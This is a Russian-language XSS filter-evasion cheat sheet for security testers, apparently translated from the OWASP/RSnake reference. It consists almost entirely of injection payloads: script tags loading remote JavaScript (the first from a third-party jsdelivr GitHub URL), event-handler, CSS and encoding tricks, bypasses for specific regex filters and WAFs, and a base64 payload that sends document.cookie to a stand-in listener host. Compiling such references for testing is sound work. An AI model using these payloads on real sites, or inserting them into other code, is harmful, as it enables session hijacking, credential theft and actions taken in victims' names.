Введение
Статья служит руководством по тестированию XSS для специалистов по безопасности приложений. Эта статья изначально опиралась на знаменитую XSS Cheat Sheet RSnake по адресу http://ha.ckers.org/xss.html. Серия OWASP Cheat Sheet предлагает актуальную и поддерживаемую версию документа. Первая статья OWASP — Предотвращение XSS (OWASP Cheat Sheet) — была вдохновлена работой RSnake; авторы благодарны RSnake за идею.
Тесты
Эта статья показывает", что фильтрация входных данных — неполная мера против XSS. Приведены приёмы XSS, способные обходить отдельные защитные фильтры.
Базовый тест XSS без обхода фильтра
Атака с обычной инъекцией JavaScript в XSS задаёт базовую линию (кавычки в современных браузерах не обязательны, поэтому опущены):
<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>Локатор XSS (полиглот)
Тест использует «полиглотную» тестовую XSS-нагрузку, исполняемую в нескольких контекстах: HTML, строках сценария, JavaScript и URL:
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>(На основе твита Gareth Heyes).
Искажённые теги A
Тест опускает атрибут href, чтобы показать XSS через обработчики событий:
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>Chrome автоматически подставляет недостающие кавычки. При сбоях следует попробовать убрать кавычки — Chrome корректно расставит их в URL или сценариях:
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>(Предложено David Cross, проверено в Chrome.)
Искажённые теги IMG
Метод XSS опирается на «снисходительный» движок отрисовки и формирует вектор внутри тега IMG (его следует заключать в кавычки). Вероятно, изначально это задумывалось как исправление небрежной вёрстки, но одновременно сильно усложняет корректный разбор HTML-тегов:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>(Изначально найдено Begeek; затем очищено и сокращено для работы во всех браузерах.)
fromCharCode
Если система запрещает кавычки, можно вызвать eval() с fromCharCode в JavaScript и собрать нужный вектор XSS:
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>Тег SRC по умолчанию для обхода фильтров по домену SRC
Атака обходит большинство фильтров по домену в SRC. Вставка JavaScript в обработчик события применима к любым типам HTML-тегов: Form, Iframe, Input, Embed и т.д. Допускается подстановка подходящего события для типа тега — например onblur или onclick, что даёт много вариаций перечисленных инъекций:
<IMG SRC=# onmouseover="alert('xxs')">(Предложено David Cross, правки Abdullah Hussam.)
Пустой SRC по умолчанию
<IMG SRC= onmouseover="alert('xxs')">Полное отсутствие атрибута SRC
<IMG onmouseover="alert('xxs')">Алерт по onerror
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>IMG onerror и кодирование вызова alert
<img src=x onerror="javascript:alert('XSS')">Десятичные HTML-символные ссылки
Примеры XSS с директивой javascript: внутри <IMG в Firefox не срабатывают; здесь используются десятичные HTML-символные ссылки как обходной путь:
<a href="javascript:alert('XSS')">Click Me!</a>Десятичные HTML-ссылки без завершающей точки с запятой
Часто помогает обходить XSS-фильтры, ищущие подстроку &\#XX;: многие не учитывают дополнение нулями — допускается до 7 цифр. Полезно и против фильтров, декодирующих по шаблону вроде $tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;, ошибочно полагающих, что HTML-сущность обязана заканчиваться точкой с запятой (встречалось в реальных системах):
<a href="javascript:alert('XSS')">Click Me</a>Шестнадцатеричные HTML-ссылки без завершающей точки с запятой
Атака срабатывает и против фильтра под строку $tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;: он предполагает цифры после #, тогда как для шестнадцатеричных HTML-сущностей это неверно:
<a href="javascript:alert('XSS')">Click Me</a>Встроенный табулятор
Приём разрывает цепочку XSS:
<a href="jav ascript:alert('XSS');">Click Me</a>Закодированный табулятор
Тот же приём разрывает XSS:
<a href="jav	ascript:alert('XSS');">Click Me</a>Перевод строки для разрыва XSS
Иногда утверждают, что для атаки подойдут любые символы с кодами 09–13 (десятичные) — это неверно. Работают только 09 (горизонтальная табуляция), 10 (перевод строки) и 13 (возврат каретки). Справка — таблица ASCII. Ниже четыре примера XSS для этого вектора:
<a href="jav
ascript:alert('XSS');">Click Me</a>Пример 1: разрыв XSS встроенным возвратом каретки
(Замечание: строки намеренно длиннее необходимого — нули можно опускать. Часто фильтры считают, что hex и dec должны быть из двух или трёх символов; на деле допускается 1–7 символов.)
<a href="jav
ascript:alert('XSS');">Click Me</a>Пример 2: разрыв директивы JavaScript нулевым байтом
Нулевые байты тоже дают вектор XSS, но иначе: их нужно внедрять напрямую (например Burp Proxy), через %00 в URL или собственный инструмент; в vim нуль даётся как ^V^@, либо можно сгенерировать так (в файл):
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out%00 особенно удобен и в реальных условиях помогал обходить фильтры на вариациях этого примера.
Пример 3: пробелы и метасимволы перед javascript: в изображениях
Полезно, если фильтр не учитывает пробелы внутри слова javascript: (их действительно не видно при отображении), но ошибочно считает, что между кавычкой и ключевым словом javascript: пробел недопустим. На деле между ними может стоять любой символ с кодом 1–32 (десятичный):
<a href="  javascript:alert('XSS');">Click Me</a>Пример 4: XSS с небуквенно-нецифровым разделителем
Парсер HTML в Firefox считает символ не-буква/не-цифра после ключевого слова HTML недопустимым и трактует его как пробельный или невалидный токен после тега. Некоторые XSS-фильтры полагают, что искомый тег обязан разделяться пробелом. Например \<SCRIPT\\s не совпадает с \<SCRIPT/XSS\\s:
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>Та же идея, расширенная с помощью фаззера Rsnake: движок Gecko допускает между именем обработчика и знаком «равно» любой символ, кроме букв, цифр и «обрамляющих» (кавычки, угловые скобки и т.п.), что облегчает обход блокировок XSS. То же относится к символу grave accent:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>Yair Amit отмечал различие Trident (IE) и Gecko (Firefox): допустим один слэш между именем тега и параметром без пробелов — полезно, если система запрещает пробелы:
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>Лишние открывающие угловые скобки
Вектор XSS может обходить детекторы, которые ищут пары «<» и «>» и сравнивают тег внутри, вместо более эффективного поиска целых совпадений (например Бойера — Мура) по «<» и имени тега после деобфускации. Двойной слэш закомментирует лишнюю закрывающую часть и подавит ошибку JavaScript:
<<SCRIPT>alert("XSS");//\<</SCRIPT>(Предложено Franz Sedlmaier.)
Без закрывающих тегов SCRIPT
В Firefox фрагмент \></SCRIPT> для этого вектора не обязателен: браузер сам «дозакрывает» HTML-тег. В отличие от следующего приёма, здесь не нужен дополнительный HTML ниже. Кавычки при необходимости можно добавить, обычно они не нужны:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >Разрешение протокола в тегах SCRIPT
Вариант частично основан на обходе разрешения протокола Ozh (см. ниже); работает в IE и Edge в режиме совместимости. Удобен при ограничении длины; чем короче домен, тем лучше. Суффикс .j допустим независимо от кодировки — браузер интерпретирует его в контексте SCRIPT:
<SCRIPT SRC=//xss.rocks/.j>(Предложено Łukasz Pilorz.)
Полуоткрытый HTML/JavaScript-вектор XSS
В отличие от Firefox, движок IE (Trident) не дописывает лишние данные на страницу, но допускает директиву javascript: в изображениях — удобный вектор без закрывающей «>». Ниже точки внедрения должен идти какой-либо HTML-тег: даже без явного \> последующие теги «закроют» конструкцию. Разметка при этом может исказиться. Обходится NIDS-регулярное выражение /((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/, так как конечный \> не требуется. В реальных системах срабатывало и с незакрытым <IFRAME вместо <IMG.
<IMG SRC="`<javascript:alert>`('XSS')"Экранирование экранирования JavaScript
Если приложение выводит данные пользователя внутрь JavaScript (например <SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>), а сервер экранирует кавычки, можно обойти это, экранируя символ экранирования. После внедрения получится <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT> — двойная кавычка «раскрывается», и срабатывает XSS. Локатор XSS использует этот приём:
\";alert('XSS');//Альтернатива: если к встроенным данным применено корректное экранирование JSON/JavaScript, но не кодирование вывода HTML — закрыть блок script и открыть свой:
</script><script>alert('XSS');</script>Закрытие тега TITLE
Простой вектор XSS: закрыть <TITLE>, после чего выполнится вредоносный XSS:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>INPUT type=image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">Фон BODY (image)
<BODY BACKGROUND="javascript:alert('XSS')">IMG DYNSRC
<IMG DYNSRC="javascript:alert('XSS')">IMG LOWSRC
<IMG LOWSRC="javascript:alert('XSS')">Свойство list-style-image
Нетривиальная атака через картинку в маркированном списке; из-за директивы javascript: работает только в движке IE. Практическая ценность невелика:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>VBScript в изображении
<IMG SRC='vbscript:msgbox("XSS")'>Тег SVG / object
<svg/onload=alert('XSS')>ECMAScript 6
Set.constructor`alert\x28document.domain\x29Тег BODY
Атака не требует вариантов javascript: или <SCRIPT.... Dan Crowley отмечал пробел перед знаком «равно» (onload= и onload = различаются):
<BODY ONLOAD=alert('XSS')>Атаки через обработчики событий
Приём с тегом BODY распространяется на схожие XSS (на момент написания — один из самых полных перечней в сети). Обновления HTML+TIME — благодарность Rene Ledosquet.
В Dottoro Web Reference есть список событий в JavaScript.
onAbort()(прерывание загрузки изображения)onActivate()(объект становится активным элементом)onAfterPrint()(после печати или предпросмотра)onAfterUpdate()(объект данных после обновления в источнике)onBeforeActivate()(до установки объекта активным элементом)onBeforeCopy()(строка атаки выполняется непосредственно перед копированием выделения в буфер; возможно черезexecCommand("Copy"))onBeforeCut()(строка атаки — непосредственно перед вырезанием выделения)onBeforeDeactivate()(сразу после смены activeElement с текущего объекта)onBeforeEditFocus()(до перехода объекта внутри редактируемого элемента в UI-активное состояние или выбора контейнера)onBeforePaste()(нужна вставка от жертвы или принудительно черезexecCommand("Paste"))onBeforePrint()(нужна печать от жертвы или вызовprint()/execCommand("Print")).onBeforeUnload()(нужно закрытие браузера жертвой; атакующий не может выгрузить окно, если оно не порождено родителем)onBeforeUpdate()(объект данных до обновления в источнике)onBegin()(onbegin — в момент начала временной шкалы элемента)onBlur()(другое всплывающее окно загружено, фокус с окна снят)onBounce()(у marquee behavior = alternate, содержимое достигло края окна)onCellChange()(изменение данных у провайдера данных)onChange()(поле select, text или TEXTAREA потеряло фокус, значение изменено)onClick()(щелчок по форме)onContextMenu()(нужен контекстный щелчок по зоне атаки)onControlSelect()(перед выбором элемента управления объекта)onCopy()(копирование жертвой илиexecCommand("Copy"))onCut()(вырезание жертвой илиexecCommand("Cut"))onDataAvailable()(изменение данных в элементе жертвой или тем же действием атакующего)onDataSetChanged()(набор данных источника изменился)onDataSetComplete()(все данные от источника получены)onDblClick()(двойной щелчок по элементу формы или ссылке)onDeactivate()(activeElement перешёл с текущего объекта на другой в родительском документе)onDrag()(требуется перетаскивание объектов жертвой)onDragEnd()(требуется перетаскивание объектов жертвой)onDragLeave()(перетаскивание за пределы допустимой области)onDragEnter()(перетаскивание в допустимую область)onDragOver()(перетаскивание в допустимую область)onDragDrop()(сброс объекта, например файла, на окно браузера)onDragStart()(начало операции перетаскивания)onDrop()(сброс объекта, например файла, на окно браузера)onEnd()(onEnd — окончание временной шкалы)onError()(ошибка загрузки документа или изображения)onErrorUpdate()(ошибка обновления связанных данных в источнике у привязанного объекта)onFilterChange()(визуальный фильтр завершил смену состояния)onFinish()(эксплуатация после завершения циклов marquee)onFocus()(строка атаки при получении окном фокуса)onFocusIn()(строка атаки при получении окном фокуса)onFocusOut()(строка атаки при потере окном фокуса)onHashChange()(изменилась часть адреса после #)onHelp()(строка атаки при нажатии F1 в фокусе окна)onInput()(текст элемента изменён через интерфейс)onKeyDown()(нажатие клавиши)onKeyPress()(нажатие или удержание клавиши)onKeyUp()(отпускание клавиши)onLayoutComplete()(печать или предпросмотр печати)onLoad()(строка атаки после загрузки окна)onLoseCapture()(эксплуатация черезreleaseCapture())onMediaComplete()(потоковый медиафайл — событие может наступить до начала воспроизведения)onMediaError()(страница с медиафайлом; событие при сбое)onMessage()(документ получил сообщение)onMouseDown()(нужен щелчок по изображению жертвой)onMouseEnter()(курсор над объектом или областью)onMouseLeave()(наведение на изображение/таблицу и уход курсора)onMouseMove()(движение курсора над изображением или таблицей)onMouseOut()(наведение на изображение/таблицу и уход курсора)onMouseOver()(курсор над объектом или областью)onMouseUp()(нужен щелчок по изображению жертвой)onMouseWheel()(нужна прокрутка колёсиком жертвой)onMove()(перемещение страницы жертвой или атакующим)onMoveEnd()(перемещение страницы жертвой или атакующим)onMoveStart()(перемещение страницы жертвой или атакующим)onOffline()(браузер переходит из онлайн в офлайн)onOnline()(браузер переходит из офлайн в онлайн)onOutOfSync()(прерывание воспроизведения по шкале времени)onPaste()(вставка жертвой илиexecCommand("Paste"))onPause()(onpause — для всех активных элементов при паузе шкалы, включая body)onPopState()(навигация по истории сеанса)onPropertyChange()(смена свойства элемента)onReadyStateChange()(смена свойства элемента)onRedo()(шаг вперёд в истории отмены)onRepeat()(один раз на каждое повторение шкалы, кроме первого полного цикла)onReset()(сброс формы)onResize()(изменение размера окна; автозапуск, например<SCRIPT>self.resizeTo(500,400);</SCRIPT>)onResizeEnd()(изменение размера окна; автозапуск, например<SCRIPT>self.resizeTo(500,400);</SCRIPT>)onResizeStart()(изменение размера окна; автозапуск, например<SCRIPT>self.resizeTo(500,400);</SCRIPT>)onResume()(onresume — для элементов, становящихся активными при возобновлении шкалы, включая body)onReverse()(при repeatCount > 1 — при каждом начале обратного хода шкалы)onRowsEnter()(изменение строки в источнике данных)onRowExit()(изменение строки в источнике данных)onRowDelete()(удаление строки в источнике данных)onRowInserted()(вставка строки в источник данных)onScroll()(прокрутка жертвой илиscrollBy())onSeek()(событиеonReverseпри воспроизведении шкалы не только вперёд)onSelect()(выделение текста; автозапуск, напримерwindow.document.execCommand("SelectAll");)onSelectionChange()(выделение текста; автозапуск, напримерwindow.document.execCommand("SelectAll");)onSelectStart()(выделение текста; автозапуск, напримерwindow.document.execCommand("SelectAll");)onStart()(начало каждого цикла marquee)onStop()(кнопка «Стоп» или уход со страницы)onStorage()(изменение области хранения)onSyncRestored()(прерывание воспроизведения по шкале для срабатывания)onSubmit()(отправка формы жертвой или атакующим)onTimeError()(недопустимое значение временного свойства, например dur)onTrackChange()(смена дорожки в playList)onUndo()(шаг назад в истории отмены)onUnload()(переход по ссылке, «Назад» или принудительный щелчок)onURLFlip()(ASF-файл в теге HTML+TIME обрабатывает встроенные в ASF команды сценария)seekSegmentTime()(метод: позиция на сегментной шкале времени и воспроизведение от неё; сегмент — одно прохождение шкалы, включая обратный ход с AUTOREVERSE)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">Включения JavaScript (&)
<BR SIZE="&{alert('XSS')}">Таблица стилей STYLE
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">Удалённая таблица стилей
Через подключение внешнего CSS можно внедрить XSS: параметры стиля переопределяются встроенным выражением. Только IE. На странице нет явных признаков подключённого JavaScript. Во всех примерах с удалённым CSS используется тег body — на пустой странице не сработает без хотя бы одного символа контента помимо вектора:
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">Удалённая таблица стилей, часть 2
То же, но тег <STYLE> вместо <LINK>. Вариация этого вектора применялась против Google Desktop. Закрывающий </STYLE> можно опустить, если сразу после вектора идёт HTML, который закроет конструкцию — удобно, если в XSS нельзя использовать «=» или «/» (встречалось в реальных фильтрах):
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>Удалённая таблица стилей, часть 3
Только Gecko: привязка XUL-файла к родительской странице.
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>Теги STYLE, разрывающие JavaScript для XSS
Иногда этот XSS вводит IE в бесконечный цикл alert:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>Атрибут STYLE с разрывом expression
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">(Roman Ivanov.)
IMG STYLE с expression
Гибрид двух предыдущих векторов; показывает, насколько сложно разбирать теги STYLE. Может зациклить IE:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>Тег STYLE и background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>Тег STYLE и свойство background
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>Произвольный тег с атрибутом STYLE
Движок IE не проверяет существование тега: достаточно «<» и буквы:
<XSS STYLE="xss:expression(alert('XSS'))">Локальный файл .htc
Отличается тем, что нужен .htc на том же сервере, что и вектор. Файл подключает JavaScript и выполняет его в составе атрибута style:
<XSS STYLE="behavior: url(xss.htc);">Кодировка US-ASCII
Атака использует «искажённый» ASCII: 7 бит вместо 8. Может обходить ряд контент-фильтров, но только если узел отдаёт US-ASCII или кодировка задана явно. Полезнее для обхода WAF, чем для серверных фильтров. Известный сервер с передачей в US-ASCII по умолчанию — Apache Tomcat.
¼script¾alert(¢XSS¢)¼/script¾META
Особенность meta refresh — отсутствие Referer в заголовке; удобно для атак, где нужно скрыть исходный URL:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">META и схема data:
Схема URL data:. В тексте нет слова SCRIPT и директивы JavaScript — используется Base64. Подробности — RFC 2397.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">META с дополнительным параметром URL
Если сайт проверяет наличие <http://>; в начале URL, правило обходится так:
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">(Moritz Naumann.)
IFRAME
Если iframe разрешены, открывается много других вариантов XSS:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>IFRAME по событиям
У iframe и большинства элементов возможны обработчики событий, например:
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>(David Cross.)
FRAME
У frame те же классы XSS, что у iframe
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>Таблица TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">TD
Аналогично: у TD уязвим атрибут BACKGROUND с JavaScript в XSS:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">DIV
DIV и background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">DIV background-image и Unicode-XSS
Слегка изменено для обфускации параметра URL:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">(Исходная уязвимость — Renaud Lifchitz, Hotmail.)
DIV background-image с лишними символами
RSnake собрал быстрый XSS-фаззер для символов, допустимых в IE после «(» и до директивы JavaScript. Ниже десятичные коды; допускаются hex и дополнение. (В том числе коды 1–32, 34, 39, 160, 8192–8203, 12288, 65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">DIV и expression
Вариант сработал против реального XSS-фильтра за счёт перевода строки между двоеточием и expression:
<DIV STYLE="width: expression(alert('XSS'));">Блок Downlevel-Hidden
Только Trident (IE). Некоторые сайты считают содержимое комментариев безопасным и не удаляют его — открывается место для вектора. Либо система оборачивает фрагмент в комментарии в надежде обезвредить — как видно, это не гарантия:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->Тег BASE
(IE в безопасном режиме.) Нужен //, чтобы закомментировать хвост и избежать ошибки JavaScript, тогда тег XSS отрисуется. Опирается на относительные пути картинок вроде images/image.jpg без полного URL. При пути с ведущим слэшем /images/image.jpg один слэш из вектора можно убрать (для комментария по-прежнему нужны два слэша):
<BASE HREF="javascript:alert('XSS');//">Тег OBJECT
При разрешённых объектах возможны и другие нагрузки (в т.ч. через APPLET). Связанный файл может быть HTML с вложенным XSS:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>EMBED SVG с вектором XSS
Только Firefox:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>(nEUrOO.)
XML Data Island и обфускация CDATA
Только IE:
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>Локальный XML с JavaScript через XML data island
Почти то же, но вектор хранится в XML на том же сервере. Результат:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>HTML+TIME в XML
Только IE; конструкция должна находиться между тегами HTML и BODY:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>(Так Grey Magic атаковали Hotmail и Yahoo!)
Мало символов и фильтр по .js
Файл сценария можно выдать за изображение:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>SSI (Server Side Includes)
Нужен SSI на сервере. Если доступны команды на сервере, проблема, как правило, серьёзнее XSS:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->PHP
Нужен PHP на сервере. Удалённое выполнение сценариев — обычно уже критичнее XSS:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>IMG и встроенные команды
Срабатывает при внедрении (например в форум) на страницу под паролем, если та же защита распространяется на другие команды того же домена. Возможны удаление и создание пользователей (если жертва — администратор), утечка учётных данных и т.д. Редко используемый, но сильный вектор XSS:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">IMG и встроенные команды, часть II
Опаснее тем, что внешне почти неотличимо от обычной картинки с чужого домена. Вектор использует 302 или 304 (подойдут и другие коды), перенаправляя «изображение» на URL команды. Обычный <IMG SRC="httx://badguy.com/a.jpg"> может выполнить действия от имени пользователя, открывшего страницу. Пример строки .htaccess (Apache):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser(Часть — Timo.)
Манипуляция cookie
Редкий сценарий: разрешён <META и им можно перезаписать cookie. На части сайтов имя пользователя берётся не из БД, а из cookie и показывается посетителю. Сочетание позволяет подменить cookie жертвы так, что при отображении выполнится JavaScript (также возможны выход из сессии, смена состояния, принуждение к входу под другой учётной записью и т.п.):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">XSS с обходом кавычек HTML
Изначально проверялось в IE; в других браузерах поведение может отличаться. Если разрешён <SCRIPT>, но запрещён <SCRIPT SRC... фильтром /\<script\[^\>\]+src/i:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>Если запрещён \<script src... фильтром /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i (важный случай — такой шаблон встречался в продакшене):
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>Ещё один обход того же фильтра /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i:
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>Ещё один вариант обхода: /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
Раздел не про противодействие; остановить именно этот пример при допустимых <SCRIPT> и запрете удалённых сценариев можно лишь полноценным разбором (конечный автомат); при разрешённых <SCRIPT> иные обходы всё равно возможны:
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>Последний обход /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i с grave accent (в Firefox не работает):
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>Пример XSS, если регулярное выражение ищет любую кавычку для «закрытия» параметра, а не парную:
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>Сложно заблокировать без запрета всего активного контента:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>Обход проверки строки URL
Ниже — если http://www.google.com/ запрещён программно:
IP вместо имени хоста
<A HREF="http://66.102.7.147/">XSS</A>Кодирование URL
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>Кодирование DWORD
Возможны и другие варианты записи DWORD; подробности — в калькуляторах обфускации IP.
<A HREF="http://1113982867/">XSS</A>Шестнадцатеричное кодирование
Длина каждого числа ограничена (порядка 240 символов суммарно; видно по второй цифре). Для hex 0–F ведущий ноль в третьей группе не обязателен:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>Восьмеричное кодирование
Допускается дополнение нулями; на октет следует оставить не менее 4 символов в каждом «классе» (A, B и т.д.):
<A HREF="http://0102.0146.0007.00000223/">XSS</A>Кодирование Base64
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">Смешанное кодирование
Сочетание систем счисления плюс табуляции и переводы строк (браузеры это принимают). Табы и переводы строк работают только внутри кавычек:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>Обход разрешения протокола
// разрешается как http:// — экономия символов при лимите длины и обход регулярных выражений вроде (ht|f)tp(s)?:// (часть идеи — Ozh). Вместо // можно \\\\. Слэши нужно сохранить, иначе URL станет относительным:
<A HREF="//www.google.com/">XSS</A>Без префикса www
Вместе с приёмом выше отказ от www. экономит ещё 4 байта (до 9 суммарно на корректно настроенных серверах):
<A HREF="http://google.com/">XSS</A>Лишняя точка для «абсолютного» DNS:
<A HREF="http://www.google.com./">XSS</A>Переход через JavaScript
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>Подмена содержимого как вектор атаки
Допустим, http://www.google.com/ программно вырезается. Похожий вектор применяли к нескольким реальным XSS-фильтрам: сам фильтр преобразований помогает собрать атаку — например java&\#x09;script: превращается в java script:, что в IE интерпретируется как протокол:
<A HREF="http://www.google.com/ogle.com/">XSS</A>Усиление XSS за счёт HTTP Parameter Pollution
При реализации потока «поделиться» как ниже атака возможна. Страница Content показывает пользовательский контент и ссылку на Share, где выбирается площадка для публикации. Разработчики кодируют параметр title для HTML на странице Content, чтобы снизить риск XSS, но не кодируют его для URL и не защищаются от HPP. Параметр content_type считается константой-целым, поэтому на странице Share его не кодируют и не проверяют.
Исходный код страницы Content
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>Исходный код страницы Share
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
// здесь могут быть пользовательское соглашение и логика отправки на сервер
...
</script>Вывод страницы Content
Если атакующий задаёт небезопасный заголовок This is a regular title&content_type=1;alert(1), ссылка на Content станет такой:
<a href="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>Вывод страницы Share
На странице Share в разметке может оказаться:
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
// здесь могут быть пользовательское соглашение и логика отправки на сервер
…
</script>Итог: основной недостаток — доверие к content_type на Share без кодирования и проверки входных данных. HPP может повысить влияние XSS: от отражённого к сохранённому.
Экранирующие последовательности символов
Варианты записи символа \< в HTML и JavaScript. Большинство сами по себе не отображаются, но в ряде условий (как выше) могут быть разобраны браузером.
<%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C
Обход WAF при XSS
Общие замечания
Stored XSS
Если атакующий провёл XSS через фильтр, WAF не помешает дальнейшему выполнению атаки.
Отражённый XSS в JavaScript
Пример:
<script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>Эксплуатация:
/?xss=500); alert(document.cookie);//DOM-based XSS
Пример:
<script> ... eval($\_GET\[xss\]); ... </script>Эксплуатация:
/?xss=document.cookieXSS через перенаправление запроса
Уязвимый код:
...
header('Location: '.$_GET['param']);
...Также:
...
header('Refresh: 0; URL='.$_GET['param']);
...Такой запрос WAF отсечёт:
/?param=<javascript:alert(document.cookie>)Такой запрос пройдёт WAF, а XSS выполнится в ряде браузеров:
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=Строки обхода WAF для XSS
